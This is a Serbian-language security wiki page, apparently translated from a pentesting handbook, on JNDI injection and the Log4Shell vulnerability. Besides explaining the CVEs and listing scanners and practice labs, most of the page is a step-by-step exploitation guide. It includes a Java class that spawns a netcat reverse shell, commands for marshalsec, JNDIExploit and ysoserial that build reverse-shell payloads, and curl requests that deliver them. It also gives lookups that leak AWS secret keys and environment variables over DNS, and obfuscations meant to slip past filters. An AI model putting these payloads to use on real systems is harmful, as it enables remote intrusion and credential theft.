JNDI - Java Naming and Directory Interface & Log4Shell

Basic Information

JNDI, integrisan u Javu od kraja 1990-ih, služi kao servis za imenovanje, omogućavajući Java programima da lociraju podatke ili objekte putem sistema imenovanja. Podržava različite servise direktorijuma putem interfejsa provajdera usluga (SPI), omogućavajući preuzimanje podataka iz različitih sistema, uključujući udaljene Java objekte. Uobičajeni SPI uključuju CORBA COS, Java RMI Registry i LDAP.

JNDI Naming Reference

Java objekti se mogu čuvati i preuzimati koristeći JNDI Naming References, koje dolaze u dva oblika:

• Reference Addresses: Specifikuje lokaciju objekta (npr., rmi://server/ref), omogućavajući direktno preuzimanje sa navedene adrese.

• Remote Factory: Referencira klasu udaljene fabrike. Kada se pristupi, klasa se preuzima i instancira sa udaljene lokacije.

Međutim, ovaj mehanizam se može iskoristiti, što može dovesti do učitavanja i izvršavanja proizvoljnog koda. Kao protivmera:

• RMI: java.rmi.server.useCodeabseOnly = true po defaultu od JDK 7u21, ograničavajući učitavanje udaljenih objekata. Security Manager dodatno ograničava šta može biti učitano.

• LDAP: com.sun.jndi.ldap.object.trustURLCodebase = false po defaultu od JDK 6u141, 7u131, 8u121, blokirajući izvršavanje udaljeno učitanih Java objekata. Ako je postavljeno na true, moguće je izvršavanje udaljenog koda bez nadzora Security Manager-a.

• CORBA: Nema specifičnu osobinu, ali je Security Manager uvek aktivan.

Međutim, Naming Manager, odgovoran za rešavanje JNDI linkova, nema ugrađene bezbednosne mehanizme, što može omogućiti preuzimanje objekata iz bilo kojeg izvora. Ovo predstavlja rizik jer se RMI, LDAP i CORBA zaštite mogu zaobići, što dovodi do učitavanja proizvoljnih Java objekata ili iskorišćavanja postojećih komponenti aplikacije (gadgets) za pokretanje malicioznog koda.

Primeri URL-ova koji se mogu iskoristiti uključuju:

• rmi://attacker-server/bar

• ldap://attacker-server/bar

• iiop://attacker-server/bar

Uprkos zaštitama, ranjivosti ostaju, uglavnom zbog nedostatka zaštite protiv učitavanja JNDI iz nepouzdanih izvora i mogućnosti zaobilaženja postojećih zaštita.

JNDI Example

Čak i ako ste postavili PROVIDER_URL, možete naznačiti drugačiji u pretrazi i biće pristupljeno: ctx.lookup("<attacker-controlled-url>") i to je ono što će napadač iskoristiti da učita proizvoljne objekte iz sistema koji on kontroliše.

CORBA Overview

CORBA (Common Object Request Broker Architecture) koristi Interoperable Object Reference (IOR) za jedinstveno identifikovanje udaljenih objekata. Ova referenca uključuje osnovne informacije kao što su:

• Type ID: Jedinstveni identifikator za interfejs.

• Codebase: URL za dobijanje stub klase.

Važno je napomenuti da CORBA nije inherentno ranjiv. Osiguranje bezbednosti obično uključuje:

• Instalaciju Security Manager-a.

• Konfigurisanje Security Manager-a da dozvoli veze sa potencijalno malicioznim kodnim bazama. To se može postići kroz:

• Socket dozvolu, npr., permissions java.net.SocketPermission "*:1098-1099", "connect";.

• Dozvole za čitanje fajlova, bilo univerzalno (permission java.io.FilePermission "<<ALL FILES>>", "read";) ili za specifične direktorijume gde bi maliciozni fajlovi mogli biti smešteni.

Međutim, neke politike provajdera mogu biti blage i dozvoliti ove veze po defaultu.

RMI Context

Za RMI (Remote Method Invocation), situacija je donekle drugačija. Kao i kod CORBA, učitavanje proizvoljnih klasa je po defaultu ograničeno. Da bi se iskoristio RMI, obično bi bilo potrebno zaobići Security Manager, što je takođe relevantno u CORBA.

LDAP

Prvo, potrebno je razlikovati između pretrage i pretrage po imenu. Pretraga će koristiti URL kao ldap://localhost:389/o=JNDITutorial da pronađe JNDITutorial objekat sa LDAP servera i preuzme njegove atribute. Pretraga po imenu je namenjena za imenovanje usluga jer želimo da dobijemo šta god je vezano za ime.

Ako je LDAP pretraga pozvana sa SearchControls.setReturningObjFlag() sa true, tada će vraćeni objekat biti rekonstruisan.

Stoga, postoji nekoliko načina da se napadnu ove opcije. Napadač može otrovati LDAP zapise uvodeći payload-e u njih koji će biti izvršeni u sistemima koji ih prikupljaju (veoma korisno za kompromitovanje desetina mašina ako imate pristup LDAP serveru). Drugi način da se iskoristi ovo bi bio da se izvrši MitM napad u LDAP pretrazi, na primer.

U slučaju da možete naterati aplikaciju da reši JNDI LDAP URL, možete kontrolisati LDAP koji će biti pretražen, i mogli biste poslati exploit (log4shell).

Deserialization exploit

Exploit je serijalizovan i biće deseralizovan. U slučaju da je trustURLCodebase true, napadač može da obezbedi svoje klase u kodnoj bazi, ako ne, moraće da iskoristi gadgets u classpath-u.

JNDI Reference exploit

Lakše je napasti ovaj LDAP koristeći JavaFactory reference:

Log4Shell Vulnerability

Ranjivost je uvedena u Log4j jer podržava specijalnu sintaksu u obliku ${prefix:name} gde je prefix jedan od niza različitih Lookups gde name treba da bude evaluiran. Na primer, ${java:version} je trenutna verzija Jave koja se izvršava.

LOG4J2-313 je uveo jndi Lookup funkciju. Ova funkcija omogućava preuzimanje varijabli putem JNDI. Obično, ključ se automatski prefiksira sa java:comp/env/. Međutim, ako sam ključ uključuje ":", ovaj defaultni prefiks se ne primenjuje.

Sa : prisutnim u ključu, kao u ${jndi:ldap://example.com/a} nema prefiksa i LDAP server se upitava za objekat. I ovi Lookups se mogu koristiti i u konfiguraciji Log4j kao i kada se linije beleže.

Stoga, jedina stvar koja je potrebna za dobijanje RCE je ranjiva verzija Log4j koja obrađuje informacije koje kontroliše korisnik. I pošto je ovo biblioteka koja se široko koristi od strane Java aplikacija za beleženje informacija (uključujući aplikacije koje su dostupne na internetu), bilo je veoma uobičajeno da log4j beleži, na primer, HTTP zaglavlja koja su primljena kao što je User-Agent. Međutim, log4j se ne koristi samo za beleženje HTTP informacija već i bilo kakvog unosa i podataka koje je programer naznačio.

Overview of Log4Shell-Related CVEs

CVE-2021-44228 [Critical]

Ova ranjivost je kritična greška u nepouzdanom deseralizovanju u log4j-core komponenti, koja utiče na verzije od 2.0-beta9 do 2.14.1. Omogućava daljinsko izvršavanje koda (RCE), omogućavajući napadačima da preuzmu sisteme. Problem je prijavio Chen Zhaojun iz Alibaba Cloud Security Team i utiče na različite Apache okvire. Prvobitno rešenje u verziji 2.15.0 je bilo nepotpuno. Sigma pravila za odbranu su dostupna (Rule 1, Rule 2).

CVE-2021-45046 [Critical]

Prvobitno ocenjen kao nizak, ali kasnije unapređen na kritičan, ovaj CVE je greška u uskrati usluge (DoS) koja proizilazi iz nepotpunog rešenja u 2.15.0 za CVE-2021-44228. Uticaće na ne-podrazumevane konfiguracije, omogućavajući napadačima da izazovu DoS napade putem kreiranih payload-a. Tweet prikazuje metodu zaobilaženja. Problem je rešen u verzijama 2.16.0 i 2.12.2 uklanjanjem obrazaca pretrage poruka i onemogućavanjem JNDI po defaultu.

CVE-2021-4104 [High]

Uticaće na Log4j 1.x verzije u ne-podrazumevanim konfiguracijama koje koriste JMSAppender, ovaj CVE je greška u nepouzdanom deseralizovanju. Nema rešenja za 1.x granu, koja je završila svoj životni ciklus, i preporučuje se nadogradnja na log4j-core 2.17.0.

CVE-2021-42550 [Moderate]

Ova ranjivost utiče na Logback logging framework, naslednika Log4j 1.x. Prethodno smatrano sigurnim, okviro je pronađen ranjivim, a nove verzije (1.3.0-alpha11 i 1.2.9) su objavljene da reše problem.

CVE-2021-45105 [High]

Log4j 2.16.0 sadrži DoS grešku, što je dovelo do objavljivanja log4j 2.17.0 da reši CVE. Dodatni detalji su u izveštaju BleepingComputer-a report.

CVE-2021-44832

Uticaće na log4j verziju 2.17, ovaj CVE zahteva da napadač kontroliše konfiguracioni fajl log4j. Uključuje potencijalno proizvoljno izvršavanje koda putem konfigurisanog JDBCAppender-a. Više detalja je dostupno u Checkmarx blog postu.

Log4Shell Exploitation

Discovery

Ova ranjivost je veoma lako otkriti ako nije zaštićena jer će poslati barem DNS zahtev na adresu koju navedete u svom payload-u. Stoga, payload-ovi kao što su:

• ${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a} (koristeći canarytokens.com)

• ${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh} (koristeći interactsh)

• ${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net} (koristeći Burp Suite)

• ${jndi:ldap://2j4ayo.dnslog.cn} (koristeći dnslog)

• ${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520} koristeći (koristeći huntress)

Napomena: čak i ako je primljen DNS zahtev, to ne znači da je aplikacija ranjiva (ili čak ranjiva), moraćete da pokušate da je iskoristite.

Local Discovery

Pretražite lokalne ranjive verzije biblioteke sa:

find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"

Verifikacija

Neke od platformi navedenih ranije će vam omogućiti da umetnete neke varijable podatke koji će biti zabeleženi kada se zatraže. To može biti veoma korisno za 2 stvari:

• Da verifikujete ranjivost

• Da ekstrahujete informacije zloupotrebljavajući ranjivost

Na primer, mogli biste zatražiti nešto poput: ili kao ${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a} i ako je DNS zahtev primljen sa vrednošću env varijable, znate da je aplikacija ranjiva.

Druge informacije koje biste mogli pokušati da iscurite:

${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}

Any other env variable name that could store sensitive information

RCE Information

RCE - Marshalsec sa prilagođenim payload-om

Možete testirati ovo u THM box-u: https://tryhackme.com/room/solar

Koristite alat marshalsec (jar verzija dostupna ovde). Ovaj pristup uspostavlja LDAP referral server za preusmeravanje konekcija na sekundarni HTTP server gde će biti hostovan exploit:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"

Da biste naterali metu da učita kod za reverznu ljusku, kreirajte Java datoteku pod imenom Exploit.java sa sledećim sadržajem:

public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}

Kompajlirajte Java datoteku u klasu koristeći: javac Exploit.java -source 8 -target 8. Zatim, pokrenite HTTP server u direktorijumu koji sadrži klasu sa: python3 -m http.server. Osigurajte da marshalsec LDAP server upućuje na ovaj HTTP server.

Pokrenite izvršenje klase eksploata na podložnom veb serveru slanjem payload-a koji liči na:

${jndi:ldap://<LDAP_IP>:1389/Exploit}

Napomena: Ova eksploatacija se oslanja na Java konfiguraciju koja omogućava učitavanje udaljenog koda putem LDAP-a. Ako to nije dozvoljeno, razmotrite eksploataciju pouzdane klase za izvršavanje proizvoljnog koda.

RCE - JNDIExploit

Za ovaj primer možete jednostavno pokrenuti ovaj ranjivi web server za log4shell na portu 8080: https://github.com/christophetd/log4shell-vulnerable-app (u README-u ćete pronaći kako da ga pokrenete). Ova ranjiva aplikacija beleži sa ranjivom verzijom log4shell sadržaj HTTP zaglavlja X-Api-Version.

Zatim, možete preuzeti JNDIExploit jar datoteku i izvršiti je sa:

wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access

После читања кода само неколико минута, у com.feihong.ldap.LdapServer и com.feihong.ldap.HTTPServer можете видети како се LDAP и HTTP сервери креирају. LDAP сервер ће разумети који payload треба да буде послужен и преусмериће жртву на HTTP сервер, који ће послужити експлоит. У com.feihong.ldap.gadgets можете пронаћи неке специфичне гадгете који се могу користити за извршавање жељене акције (потенцијално извршавање произвољног кода). А у com.feihong.ldap.template можете видети различите класe шаблона које ће генерисати експлоите.

Можете видети све доступне експлоите са java -jar JNDIExploit-1.2-SNAPSHOT.jar -u. Неке корисне су:

ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more

Dakle, u našem primeru, već imamo tu ranjivu aplikaciju na dockeru koja radi. Da bismo je napali:

# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'

Kada šaljete napade, videćete neki izlaz u terminalu gde ste izvršili JNDIExploit-1.2-SNAPSHOT.jar.

Zapamtite da proverite java -jar JNDIExploit-1.2-SNAPSHOT.jar -u za druge opcije eksploatacije. Pored toga, u slučaju da vam zatreba, možete promeniti port LDAP i HTTP servera.

RCE - JNDI-Exploit-Kit

Na sličan način kao prethodni exploit, možete pokušati da koristite JNDI-Exploit-Kit da iskoristite ovu ranjivost. Možete generisati URL-ove koje ćete poslati žrtvi pokretanjem:

# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444

# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"

Ovaj napad koristeći prilagođeni generisani java objekat će raditi u laboratorijama kao što je THM solar room. Međutim, ovo obično neće raditi (jer je po defaultu Java konfigurisana da ne učitava udaljene kodne baze koristeći LDAP) mislim zato što ne zloupotrebljava poverljivu klasu za izvršavanje proizvoljnog koda.

RCE - JNDI-Injection-Exploit-Plus

https://github.com/cckuailong/JNDI-Injection-Exploit-Plus je još jedan alat za generisanje funkcionalnih JNDI linkova i pružanje pozadinskih usluga pokretanjem RMI servera, LDAP servera i HTTP servera.\

RCE - ysoserial & JNDI-Exploit-Kit

Ova opcija je zaista korisna za napad na Java verzije koje su konfigurisane da veruju samo određenim klasama i ne svima. Stoga, ysoserial će biti korišćen za generisanje serijalizacija poverljivih klasa koje se mogu koristiti kao uređaji za izvršavanje proizvoljnog koda (poverljiva klasa koju zloupotrebljava ysoserial mora biti korišćena od strane žrtvinog java programa kako bi eksploatacija radila).

Korišćenjem ysoserial ili ysoserial-modified možete kreirati eksploataciju deserializacije koja će biti preuzeta od strane JNDI:

# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser

Koristite JNDI-Exploit-Kit za generisanje JNDI linkova gde će eksploatacija čekati na veze iz ranjivih mašina. Možete poslužiti različite eksploate koji se mogu automatski generisati pomoću JNDI-Exploit-Kit ili čak vaše vlastite deserializacione payload-e (generisane od vas ili ysoserial).

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser

Sada možete lako koristiti generisanu JNDI vezu da iskoristite ranjivost i dobijete reverse shell jednostavno šaljući na ranjivu verziju log4j: ${ldap://10.10.14.10:1389/generated}

Bypasses

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"

Automatski skeneri

• https://github.com/fullhunt/log4j-scan

• https://github.com/adilsoybali/Log4j-RCE-Scanner

• https://github.com/silentsignal/burp-log4shell

• https://github.com/cisagov/log4j-scanner

• https://github.com/Qualys/log4jscanwin

• https://github.com/hillu/local-log4j-vuln-scanner

• https://github.com/logpresso/CVE-2021-44228-Scanner

• https://github.com/palantir/log4j-sniffer - Pronađite lokalne ranjive biblioteke

Laboratorije za testiranje

• LogForge HTB mašina

• Try Hack Me Solar soba

• https://github.com/leonjza/log4jpwn

• https://github.com/christophetd/log4shell-vulnerable-app

Post-Log4Shell Eksploatacija

U ovom CTF izveštaju je dobro objašnjeno kako je potencijalno moguće da se zloupotrebe neke funkcije Log4J.

Sigurnosna stranica Log4j-a ima nekoliko zanimljivih rečenica:

Od verzije 2.16.0 (za Java 8), funkcija pretrage poruka je potpuno uklonjena. Pretrage u konfiguraciji i dalje rade. Štaviše, Log4j sada po defaultu onemogućava pristup JNDI-ju. JNDI pretrage u konfiguraciji sada treba eksplicitno omogućiti.

Od verzije 2.17.0, (i 2.12.3 i 2.3.1 za Java 7 i Java 6), samo stringovi pretrage u konfiguraciji se rekurzivno proširuju; u bilo kojoj drugoj upotrebi, samo se najviša pretraga rešava, a sve ugnježdene pretrage se ne rešavaju.

To znači da po defaultu možete zaboraviti na korišćenje bilo kog jndi eksploita. Štaviše, da biste izvršili rekurzivne pretrage, morate ih imati konfigurirane.

Na primer, u tom CTF-u ovo je bilo konfigurirano u datoteci log4j2.xml:

<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>

Env Lookups

U ovom CTF-u napadač je kontrolisao vrednost ${sys:cmd} i trebao je da eksfiltrira zastavu iz promenljive okruženja. Kao što je prikazano na ovoj stranici u prethodnim payload-ima, postoje različiti načini za pristup promenljivim okruženja, kao što je: ${env:FLAG}. U ovom CTF-u to je bilo beskorisno, ali možda neće biti u drugim stvarnim scenarijima.

Exfiltration in Exceptions

U CTF-u, niste mogli pristupiti stderr java aplikacije koristeći log4J, ali Log4J izuzeci se šalju na stdout, koji je bio odštampan u python aplikaciji. To je značilo da aktiviranjem izuzetka možemo pristupiti sadržaju. Izuzetak za eksfiltraciju zastave bio je: ${java:${env:FLAG}}. Ovo funkcioniše jer ${java:CTF{blahblah}} ne postoji i izuzetak sa vrednošću zastave će biti prikazan:

Conversion Patterns Exceptions

Samo da napomenem, mogli ste takođe da injektujete nove conversion patterns i aktivirate izuzetke koji će biti zabeleženi na stdout. Na primer:

Ovo nije bilo korisno za eksfiltraciju podataka unutar poruke o grešci, jer pretraga nije rešena pre konverzionog obrasca, ali bi moglo biti korisno za druge stvari kao što je detekcija.

Conversion Patterns Regexes

Međutim, moguće je koristiti neke conversion patterns koji podržavaju regexes za eksfiltraciju informacija iz pretrage koristeći regexes i zloupotrebljavajući binarno pretraživanje ili vremenski zasnovano ponašanje.

• Binarno pretraživanje putem poruka o izuzecima

Konverzioni obrazac %replace može se koristiti za zamenu sadržaja iz stringa čak i koristeći regexes. Funkcioniše ovako: replace{pattern}{regex}{substitution} Zloupotrebljavajući ovo ponašanje mogli biste učiniti da zamena pokrene izuzetak ako regex odgovara bilo čemu unutar stringa (i bez izuzetka ako nije pronađeno) ovako:

%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception

• Na osnovu vremena

Kao što je pomenuto u prethodnom odeljku, %replace podržava regex. Tako je moguće koristiti payload sa ReDoS stranice da izazove timeout u slučaju da je zastavica pronađena. Na primer, payload poput %replace{${env:FLAG}}{^(?=CTF)((.))*salt$}{asd} bi izazvao timeout u tom CTF-u.

U ovom izveštaju, umesto korišćenja ReDoS napada, korišćen je amplifikacioni napad da izazove vremensku razliku u odgovoru:

Copy

/%replace{
%replace{
%replace{
%replace{
%replace{
%replace{
%replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}

Ako zastavica počinje sa flagGuess, cela zastavica se zamenjuje sa 29 #-ova (koristio sam ovaj karakter jer verovatno neće biti deo zastavice). Svaki od rezultantnih 29 #-ova se zatim zamenjuje sa 54 #-ova. Ovaj proces se ponavlja 6 puta, što dovodi do ukupnog broja 29*54*54^6* =`` ``96816014208 #-ova!

Zamena toliko #-ova će izazvati 10-sekundni timeout Flask aplikacije, što će rezultirati slanjem HTTP status koda 500 korisniku. (Ako zastavica ne počinje sa flagGuess, dobićemo status kod koji nije 500)

Reference

• https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/

• https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/

• https://www.youtube.com/watch?v=XG14EstTgQ4

• https://tryhackme.com/room/solar

• https://www.youtube.com/watch?v=Y8a5nB-vy78

• https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf

• https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/

• https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/